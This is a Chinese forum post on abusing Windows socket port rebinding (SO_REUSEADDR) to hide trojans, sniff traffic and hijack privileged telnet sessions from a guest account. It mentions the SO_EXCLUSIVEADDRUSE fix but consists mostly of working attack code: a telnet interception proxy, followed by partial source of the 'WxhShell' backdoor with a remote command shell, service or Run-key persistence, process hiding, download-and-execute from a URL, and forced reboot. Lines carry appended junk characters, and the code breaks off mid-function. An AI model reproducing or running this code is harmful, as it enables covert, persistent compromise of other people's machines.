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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: nq} Q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /e\{    
ER2GjZa\z  
  saddr.sin_family = AF_INET; *MN HT`Y^o  
~wnOV#v  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 7fp(R&)1  
%,@vWmn  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); O/%< }3Sq  
39U5jj7i  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 q"KnLA(  
D;GD<zC]  
  这意味着什么?意味着可以进行如下的攻击: P=L$;xgp  
$ZPX]2D4B#  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 AEmNHO@%q  
h)lPi   
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (%CZ*L[9Z  
A|#`k{+1-  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 B(k=oXDF  
eC DIwB28  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  |9xI_(+{kP  
ymY1o$qWB}  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 80}+MWdo  
n>,L=wV  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 .Hhhi  
>$677  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 D\~zS`}  
vq*Q.0M+  
  #include CDj~;$[B  
  #include e;bYaM4 UX  
  #include dBsX*}C  
  #include    S|V4[ssB  
  DWORD WINAPI ClientThread(LPVOID lpParam);   \e=_ 2^v!_  
  int main() &hHW3Q(1  
  { i>L+gLW  
  WORD wVersionRequested; `Ycf]2.,$  
  DWORD ret; M`,~ mU  
  WSADATA wsaData; iq#b#PYA  
  BOOL val; _i_Q?w`  
  SOCKADDR_IN saddr; Mk 0+D#  
  SOCKADDR_IN scaddr; .D,p@4  
  int err; =rA~7+}  
  SOCKET s; mM.*b@d-  
  SOCKET sc; <>xJn{f0c  
  int caddsize; -Lu)'+  
  HANDLE mt; %m,6}yt  
  DWORD tid;   Kr'f-{  
  wVersionRequested = MAKEWORD( 2, 2 ); c'6g*%2k  
  err = WSAStartup( wVersionRequested, &wsaData ); 'XQ`g CF=  
  if ( err != 0 ) { <oKGD50#  
  printf("error!WSAStartup failed!\n"); $\o {_?}1  
  return -1; DDT_kK;  
  } xp'_%n~K@  
  saddr.sin_family = AF_INET; NvE}eA#  
   UEs7''6RM  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 %t=kdc0=_  
 ~fl@ 2  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); sKz`aqI  
  saddr.sin_port = htons(23); `=+^|Y}  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]=rht9),"  
  { s..lK "b  
  printf("error!socket failed!\n"); 0<"k8 k@J  
  return -1;  %R#L  
  } (YBMsh  
  val = TRUE; yw[#  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 -\ZcOXpMx=  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) (z7vl~D  
  { _LP/!D  
  printf("error!setsockopt failed!\n"); $CTSnlPq  
  return -1; uJx"W  
  } )M=ioE8`h  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; H>Q%"|  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 c0c|z Ym  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 7g=2Z[o  
N#V.1<Y  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 2 &/v]  
  { {^CT} \=>  
  ret=GetLastError(); :(dHY  
  printf("error!bind failed!\n"); a8u 9aEB  
  return -1; J]W5[)L  
  } AL/?,%F  
  listen(s,2); .iCDXc{#  
  while(1) GWsE;  
  { rqv))Zo`  
  caddsize = sizeof(scaddr); )m6M9eC  
  //接受连接请求 @uo ~nFj,  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); V$0dtvGvH  
  if(sc!=INVALID_SOCKET) I`[i;U{CK  
  { i| \6JpNA:  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); o:Qv JcB  
  if(mt==NULL) mOo`ZcTU  
  { pY4}>ju(g  
  printf("Thread Creat Failed!\n"); ]&Z))H  
  break; A,i75kd  
  } iu**`WjI\  
  } qQ\Y/}F  
  CloseHandle(mt); %6 Q4yk  
  } ]v[|B  
  closesocket(s); T|&[7%F3"  
  WSACleanup(); PFUO8>!pA\  
  return 0; }:: S 0l  
  }   l1ZY1#%j  
  DWORD WINAPI ClientThread(LPVOID lpParam) PcB_oG g  
  { f >BWG`  
  SOCKET ss = (SOCKET)lpParam; #T`t79*N  
  SOCKET sc; 8x`.26p  
  unsigned char buf[4096]; xI ,2LGO  
  SOCKADDR_IN saddr; Sxjub&=  
  long num; l4T7'U>`  
  DWORD val; q'pK,uNW  
  DWORD ret; /TS=7J#  
  //如果是隐藏端口应用的话,可以在此处加一些判断 OY[e.N t&  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   Cs2;z:O]  
  saddr.sin_family = AF_INET; 9a'-Y  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Uax+dl   
  saddr.sin_port = htons(23); fEB7j-t  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 7+./zN  
  { Vcd.mE(t%  
  printf("error!socket failed!\n"); $/Aj1j`"9+  
  return -1; L@=3dp!\Cu  
  } dEBcfya  
  val = 100; f7Ul(D:j\  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) q&C""!h^  
  { !4]9!<.k  
  ret = GetLastError(); O1')nYF7  
  return -1; tx?dIy;  
  } CctJFcEZ  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 9&<x17'  
  { B|o2K}%f  
  ret = GetLastError(); BL@:!t  
  return -1; T843":  
  } F~ Lx|)0M  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) Em[DHfu1Q  
  { JNcYJ[wqv  
  printf("error!socket connect failed!\n"); j }b\Z9)!  
  closesocket(sc); QMv@:Eo  
  closesocket(ss); `y#UJYXQE  
  return -1; 3D?s L!W  
  } %s19KGpA  
  while(1) x8GJY~:SW  
  { -OSa>-bzNx  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 UMX@7a,[3  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (a9d/3M  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 X.`~>`8  
  num = recv(ss,buf,4096,0); x@8a''  
  if(num>0) KZ~*Nz+H2  
  send(sc,buf,num,0); R$zH]  
  else if(num==0) f6$b s+oP  
  break; q -8t'7  
  num = recv(sc,buf,4096,0); 3Hf0MAt  
  if(num>0) iR"N13  
  send(ss,buf,num,0); ;c$J=h]  
  else if(num==0) .k,YlFvj  
  break; O|_h_I-2  
  } C]Q8:6b  
  closesocket(ss); ^*fQX1h<  
  closesocket(sc); vloF::1  
  return 0 ; .F+@B\A<  
  } DBP9{ x$  
 }-~l!  
s&'QN=A  
========================================================== \W1/p`  
-*.-9B~u  
下边附上一个代码,,WXhSHELL ! VjFW5'{  
Sp@-p9#  
========================================================== ;;&}5jcV  
-W>'^1cR  
#include "stdafx.h" F-6c_!  
S6fbf>[  
#include <stdio.h> Uix6GT;  
#include <string.h> Z0l+1iMx  
#include <windows.h> J4Dry<  
#include <winsock2.h> Mw9 \EhA  
#include <winsvc.h> V')0 Mr  
#include <urlmon.h> nT2)E&U6%  
_UuC,Pl3  
#pragma comment (lib, "Ws2_32.lib") `-LGU7~+  
#pragma comment (lib, "urlmon.lib") Hc`A3SMR  
Bj7gQ%>H4  
#define MAX_USER   100 // 最大客户端连接数 irjP>3_e  
#define BUF_SOCK   200 // sock buffer m#=z7.XrX  
#define KEY_BUFF   255 // 输入 buffer $ `7^+8vHV  
7 [0L9\xm  
#define REBOOT     0   // 重启 sJNFFOz  
#define SHUTDOWN   1   // 关机 $ MC)}l  
5atYOep  
#define DEF_PORT   5000 // 监听端口 )p*}e8L  
.1LCXW=  
#define REG_LEN     16   // 注册表键长度 $8BPlqBIZ  
#define SVC_LEN     80   // NT服务名长度 i~r l o^  
z;y:9l  
// 从dll定义API 3do)Vg4  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); |fo0  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 5e WwgA  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); }l=xiAF  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); XC+A_"w)  
7%sdtunf`  
// wxhshell配置信息 08*v~(T  
struct WSCFG { X]y)qV)a[c  
  int ws_port;         // 监听端口 ={u0_j W  
  char ws_passstr[REG_LEN]; // 口令 u(G*\<z-  
  int ws_autoins;       // 安装标记, 1=yes 0=no V*~Zs'L'E  
  char ws_regname[REG_LEN]; // 注册表键名 iQ"XLrpl  
  char ws_svcname[REG_LEN]; // 服务名 #KO,~]k5|e  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 W6Y@U$P#G  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 D+>1]ij  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 0 iJue &  
int ws_downexe;       // 下载执行标记, 1=yes 0=no |ZQ@fmvL/p  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" X]'7Ov  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 aM;W$1h  
]LM-@G+Jz  
}; #Skv(IL  
M'/aZ# b  
// default Wxhshell configuration {26ONa#i  
struct WSCFG wscfg={DEF_PORT, Q`D_|L  
    "xuhuanlingzhe", ~zw]5|  
    1, 8,uB8C9  
    "Wxhshell", A= w9V  
    "Wxhshell", Si~vDQ7"  
            "WxhShell Service", ~ar=PmYV7  
    "Wrsky Windows CmdShell Service", :<|<|qJWo  
    "Please Input Your Password: ", ` He,p -  
  1, 1x,tu}<u^  
  "http://www.wrsky.com/wxhshell.exe", +sJrllrE(  
  "Wxhshell.exe" W | o'&  
    }; N 8-oY$*  
2@ Z(P.Gh  
// 消息定义模块 "]G\9b)   
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; 9HX =T%  
char *msg_ws_prompt="\n\r? for help\n\r#>"; S.a%  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; y8DhOlewQ  
char *msg_ws_ext="\n\rExit."; FLY Ca  
char *msg_ws_end="\n\rQuit."; 12+>5BA  
char *msg_ws_boot="\n\rReboot..."; FKmFo^^0  
char *msg_ws_poff="\n\rShutdown...";  Sr?#S  
char *msg_ws_down="\n\rSave to "; JwXT%op9RP  
`[n(" 7,  
char *msg_ws_err="\n\rErr!"; *<!oHEwkN  
char *msg_ws_ok="\n\rOK!"; !Xph_SQ!B=  
dc rSz4E|>  
char ExeFile[MAX_PATH]; )Qvk*9OS  
int nUser = 0; CJ++?hB]X  
HANDLE handles[MAX_USER]; 28=O03q  
int OsIsNt; =J~ x  
6VhjJJ  
SERVICE_STATUS       serviceStatus; [0D Et   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; _(KbiEB{  
0c#/hFn  
// 函数声明 >i6yl5s  
int Install(void); c?@T1h4  
int Uninstall(void); OiP!vn}k  
int DownloadFile(char *sURL, SOCKET wsh); k%G1i-] 4  
int Boot(int flag); o-Ga3i 8  
void HideProc(void); Z R'H \Z  
int GetOsVer(void); i _%Q`i  
int Wxhshell(SOCKET wsl); pf7it5  
void TalkWithClient(void *cs); JGQjw(Xs  
int CmdShell(SOCKET sock); L~KM=[cn  
int StartFromService(void); d0,s"K7@  
int StartWxhshell(LPSTR lpCmdLine); ~JH:EB:  
Xp}Yw"7  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); )=etG  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 6w@ Ii;  
/QJ?bD#a  
// 数据结构和表定义 ~B(6+~%  
SERVICE_TABLE_ENTRY DispatchTable[] = f^.AD-  
{ EE W_gFn  
{wscfg.ws_svcname, NTServiceMain}, jNC4_q&  
{NULL, NULL} y? co|  
}; zO MA  
/ID?DtJ  
// 自我安装 |*0<M(YXN  
int Install(void) Ho *AAg  
{ f-7 1~  
  char svExeFile[MAX_PATH]; *~x/=.}  
  HKEY key; 0/oyf]HR  
  strcpy(svExeFile,ExeFile); 9,"L^W8"k  
,11H.E Z  
// 如果是win9x系统,修改注册表设为自启动 l c '=mA  
if(!OsIsNt) { @Rw!'T  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { c7FRI0X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 0a"c2J  
  RegCloseKey(key); TG5XSy  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { lgtC|k M=  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ~((w?Yy"v  
  RegCloseKey(key); J":,Vd!*-  
  return 0; ,kn"> k9  
    } \R;`zuv   
  } 6efnxxY}sa  
} X7g1:L1Ys  
else { e[#j.|m  
v7`HQvQEz=  
// 如果是NT以上系统,安装为系统服务 d8x\  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5EfS^MRf\n  
if (schSCManager!=0) G@Z?&"    
{ 7?%k7f  
  SC_HANDLE schService = CreateService v*[.a#1^  
  ( AD<q%pu&H?  
  schSCManager, M )2`+/4  
  wscfg.ws_svcname, x HhN  
  wscfg.ws_svcdisp, ;{%\9nS  
  SERVICE_ALL_ACCESS, i?F >+  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , _\GC(  
  SERVICE_AUTO_START, =Fr(9 (  
  SERVICE_ERROR_NORMAL, )6J9J+%bi  
  svExeFile, ])!o5`ltZ  
  NULL, a0ObBe'  
  NULL, ;{" +g)u  
  NULL, UTH_^HAN#G  
  NULL, Sh8"F@P8  
  NULL " _ka<R..  
  ); ;h jwD  
  if (schService!=0) vt9)pMs  
  { e;[F\ov %  
  CloseServiceHandle(schService); L-k@-)98  
  CloseServiceHandle(schSCManager); ynhmMy%  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); V:c;-)(  
  strcat(svExeFile,wscfg.ws_svcname); 9*1,!%]  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { &@yo;kB  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 9 o&`5  
  RegCloseKey(key); L');!/:  
  return 0; 9Q+'n$s0^  
    } la+[bm< v  
  } SrK)t.oK  
  CloseServiceHandle(schSCManager); XnWr5-;  
} N/K.%<h  
} 9B7^lR  
9^G/8<^^>  
return 1; Aw5HF34J  
} S :<Nc{C  
Gnq?"</  
// 自我卸载 A"rfZ`  
int Uninstall(void) LpqO{#ZG  
{ ftF@Wq1f  
  HKEY key; E }nH1  
^*Yh@4\{JH  
if(!OsIsNt) { ^kB8F"X  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Evjj"h&0J  
  RegDeleteValue(key,wscfg.ws_regname); 7G>dTO  
  RegCloseKey(key); Q{5kxw1ZF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { #odIEC/  
  RegDeleteValue(key,wscfg.ws_regname); 20nP/ e  
  RegCloseKey(key); < RH UH)I  
  return 0; 57&b:0`p  
  } u;/ Vyu  
} VeQg -#&I  
} vz7J-CH  
else { j4R(B  
5X:*/FuS@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); xM&Wgei]10  
if (schSCManager!=0) 8;+B*+%@n  
{ 'GS"8w~j  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); T, )__h  
  if (schService!=0) sv&;Y\2c  
  { B2'i7P s  
  if(DeleteService(schService)!=0) { EKsT~SS  
  CloseServiceHandle(schService); tE`u(B,  
  CloseServiceHandle(schSCManager); #T=LR@y  
  return 0; +w{*Xk)4  
  } &-B^~M*??  
  CloseServiceHandle(schService); l)&X$3?tz  
  } ''\O v  
  CloseServiceHandle(schSCManager); Dw<bn<e-  
} SX# e:_  
} `u teg=  
X6@WwM~qz  
return 1; ~3WF,mW  
} V^Q#:@0  
yU-e3O7L  
// 从指定url下载文件 sWc*5Rt  
int DownloadFile(char *sURL, SOCKET wsh) \Yc'~2n  
{ 0,89H4  
  HRESULT hr; f>UXD  
char seps[]= "/"; E(8* pI  
char *token; m;GbLncA  
char *file; 8)10o,#L  
char myURL[MAX_PATH]; rFj-kojg  
char myFILE[MAX_PATH]; vPTM  
|w<H!lGe!$  
strcpy(myURL,sURL); 2;DuHO1  
  token=strtok(myURL,seps); ~^r29'3  
  while(token!=NULL) =06gj)8  
  { UVd7 JGR  
    file=token; U<_3^  
  token=strtok(NULL,seps); =pS5uR~  
  } 5',8 ziJQ  
)W;o<:x3  
GetCurrentDirectory(MAX_PATH,myFILE); x"gd8j]s  
strcat(myFILE, "\\"); %B5wH_p  
strcat(myFILE, file); }:KEj_~.  
  send(wsh,myFILE,strlen(myFILE),0); zGA q-<  
send(wsh,"...",3,0); _0]S69lp  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); #/Vh|UeX  
  if(hr==S_OK) PE3vQH=t~  
return 0; mR?5G: W~R  
else ~nh:s|l6%M  
return 1; pxCK;]  
S/e2P|}  
} C(#u[8  
%}Ss,XJ  
// 系统电源模块 x:7b/ j-  
int Boot(int flag) !`,Sfqij  
{ QD:{U8YbF$  
  HANDLE hToken; LXC9I/j/  
  TOKEN_PRIVILEGES tkp; 7|$:=4  
pEIRh1  
  if(OsIsNt) { =E.t`x=  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); }dWq=)*  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); w&o&jAb-M  
    tkp.PrivilegeCount = 1; Z7hgA-t  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 7b;I+q  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); $m].8?  
if(flag==REBOOT) { HUv/ ~^<  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) C9n?@D;S  
  return 0; }%'?p<^M  
} hRrn$BdLX  
else { XINu=N(g  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) g1W.mAA3B  
  return 0; s'E2P[:  
} %yW3VL  
  } xp }hev^@$  
  else { Z{ X|6.  
if(flag==REBOOT) { jB$IyQ;@  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) tG9BfGF  
  return 0; <UV1!2nv*  
} E[@ u 3i8  
else { $RIecv<e_  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) t\{'F7  
  return 0; &]v4@%<J  
} vY${;#~|  
} R`DKu=  
Nn~~!q  
return 1; u'|4?"uz  
} ||hb~%JK6  
 PT=2@kH  
// win9x进程隐藏模块 gcPTLh[^Er  
void HideProc(void) pb ~u E  
{ ]* F\"C@  
j.w@(<=x  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); aI6$?wus  
  if ( hKernel != NULL ) h]5C|M|  
  { GqaDL3Niqs  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); aB{vFTD5  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); )z73-M V"  
    FreeLibrary(hKernel); j53*E )d  
  } h_:C+)13`x  
vq^f}id  
return; +eyc`J  
} s:/8[(A  
0=* 8  
// 获取操作系统版本 Ma.`A  
int GetOsVer(void) [E!oQVY  
{ aE&,]'6  
  OSVERSIONINFO winfo; m#PY,y  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); Y^8C)p9r  
  GetVersionEx(&winfo); K?B{rE Lp  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) e;Ti&o}  
  return 1; !`g~F\l  
  else hyCh9YOu)  
  return 0; ]h* c,.  
} ] >LhkA@V  
Z&1T  
// 客户端句柄模块 ysxb?6  
int Wxhshell(SOCKET wsl) ko.(pb@+  
{ V5sg#|&  
  SOCKET wsh; =j5MFX.-o  
  struct sockaddr_in client; -Zf@VW,NI  
  DWORD myID; ;aI[=?<x  
6*B19+-  
  while(nUser<MAX_USER)  [F0s!,P  
{ ~$:|VHl  
  int nSize=sizeof(client); &x[E;P*Fg  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize);  "HElB9  
  if(wsh==INVALID_SOCKET) return 1; P&9Gga^I  
Tl$ [4heE  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 2XFU1 AW  
if(handles[nUser]==0) <j*;.yyC  
  closesocket(wsh); iOR_[y,  
else F(k.,0Nc  
  nUser++; !MYSfPdS  
  } hAYTj0GZ  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); T (OW  
v, n$^R  
  return 0; 'Jt]7;04p  
} ^?cz,N~  
lE;Ewg  
// 关闭 socket #!aN{nK0  
void CloseIt(SOCKET wsh) {1V($aBl  
{ "= 6_V?&w  
closesocket(wsh); :3XA!o&.T3  
nUser--; @wpN6 /   
ExitThread(0); '(f&P=[b  
} <3xyjX'NE  
x_| UPF  
// 客户端请求句柄 4}_j`d/8|  
void TalkWithClient(void *cs) U1DXe h~V  
{ d F9!G;V  
CdasP9"1  
  SOCKET wsh=(SOCKET)cs; P<l&0dPO8  
  char pwd[SVC_LEN]; t]y D-3'l&  
  char cmd[KEY_BUFF]; TD1 [  
char chr[1]; i5Zk_-\#H  
int i,j; C~nzH,5  
^B(V4-|  
  while (nUser < MAX_USER) { Bt> }rYz1  
LJk@Vy <?  
if(wscfg.ws_passstr) { S4^vpY DeN  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); |uqf:V`z:  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); #w,Dwy  
  //ZeroMemory(pwd,KEY_BUFF); 7ePqmB<.  
      i=0; 0vEoGgY0*:  
  while(i<SVC_LEN) { vy0X_DPCr  
l)Pu2!Ic  
  // 设置超时 1<BX]-/tP  
  fd_set FdRead; &<wuJ%'>)Z  
  struct timeval TimeOut; QW $G  
  FD_ZERO(&FdRead); oFy=-p+C  
  FD_SET(wsh,&FdRead); }Mf!-g  
  TimeOut.tv_sec=8;  :rHJ4Tl  
  TimeOut.tv_usec=0; J8S'/y(LE<  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); U7 `A497Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); yRSTk2N@  
$ et0s;GBv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); MaRi+3F  
  pwd=chr[0]; zo+nq%=  
  if(chr[0]==0xd || chr[0]==0xa) { ~%^ tB  
  pwd=0; bu:S:`  
  break; ln?v j)j  
  } ;'5>q&[qbP  
  i++; (d(hR0HKE  
    } AvdXEY(-  
7![,Q~Fy  
  // 如果是非法用户,关闭 socket ZAv,*5&<  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3&u&x(   
} \@8+U;d  
z.GMqW%B  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); K8>zF/# +  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BybW)+~  
85n1eE  
while(1) { D}dn.$  
iVB86XZ`  
  ZeroMemory(cmd,KEY_BUFF); wF|fK4F  
}._eIx"  
      // 自动支持客户端 telnet标准   A6:es_  
  j=0; 3pv4B:0  
  while(j<KEY_BUFF) { O-LO/*5MI  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); r30 <(nF  
  cmd[j]=chr[0]; <\NY<QIwFw  
  if(chr[0]==0xa || chr[0]==0xd) { B$b +Ymu  
  cmd[j]=0; in~D  
  break; '+osf'&  
  } )3~{L;q  
  j++; V'kX)$  
    } ep2k%?CX 1  
p3 w  
  // 下载文件 ptDY3n~'  
  if(strstr(cmd,"http://")) { BRlT7grgq  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 2^^`n1?'  
  if(DownloadFile(cmd,wsh)) 9?0^ap,T  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); ``ou/Z  
  else JBJhG<J  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); W_kHj}dj,p  
  } kPVO?uO  
  else { LL2=&VK  
8g&? Cc  
    switch(cmd[0]) { kKAP"'v  
   .Nw=[  
  // 帮助 a#>Yh;FA  
  case '?': { MC<PM6w  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); _(h&7P9  
    break; T(t+ iv  
  } A<1hOSCz\  
  // 安装 n}'=yItVL1  
  case 'i': { vU767/  
    if(Install()) 95YL]3V  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %] >KvoA  
    else  /% M/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); @^T1XX  
    break; _~piZmkG$  
    } nHm}zOLc  
  // 卸载 MFb9H{LA  
  case 'r': { ;~"FLQg@  
    if(Uninstall()) Wzw7tLY._  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ,QcF|~n  
    else 8>0e*jC  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); z"0I>gl  
    break; (>r[- Bft  
    } Cq%IE^g<  
  // 显示 wxhshell 所在路径 )rekY;  
  case 'p': { D|Q#gcWpo  
    char svExeFile[MAX_PATH]; m06ALD_  
    strcpy(svExeFile,"\n\r"); {buo^kgj`]  
      strcat(svExeFile,ExeFile); @}@Z8$G^  
        send(wsh,svExeFile,strlen(svExeFile),0); O*0l+mop  
    break; YhDtUt}?  
    } 8=gjY\Dp  
  // 重启 M+w=O!dq  
  case 'b': { ptU \[Tq  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0);  *T5!{  
    if(Boot(REBOOT)) w]]8dz  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); UPG9)aF  
    else { DP3PYJ%+B  
    closesocket(wsh); i[?Vin  
    ExitThread(0); i(>4wK!!  
    } V+VkY3  
    break; 4<k9?)~(J  
    } /+@p7FqlE  
  // 关机 RLLTw ?]$  
  case 'd': { q U]gj@R  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); kzt(i Y_6  
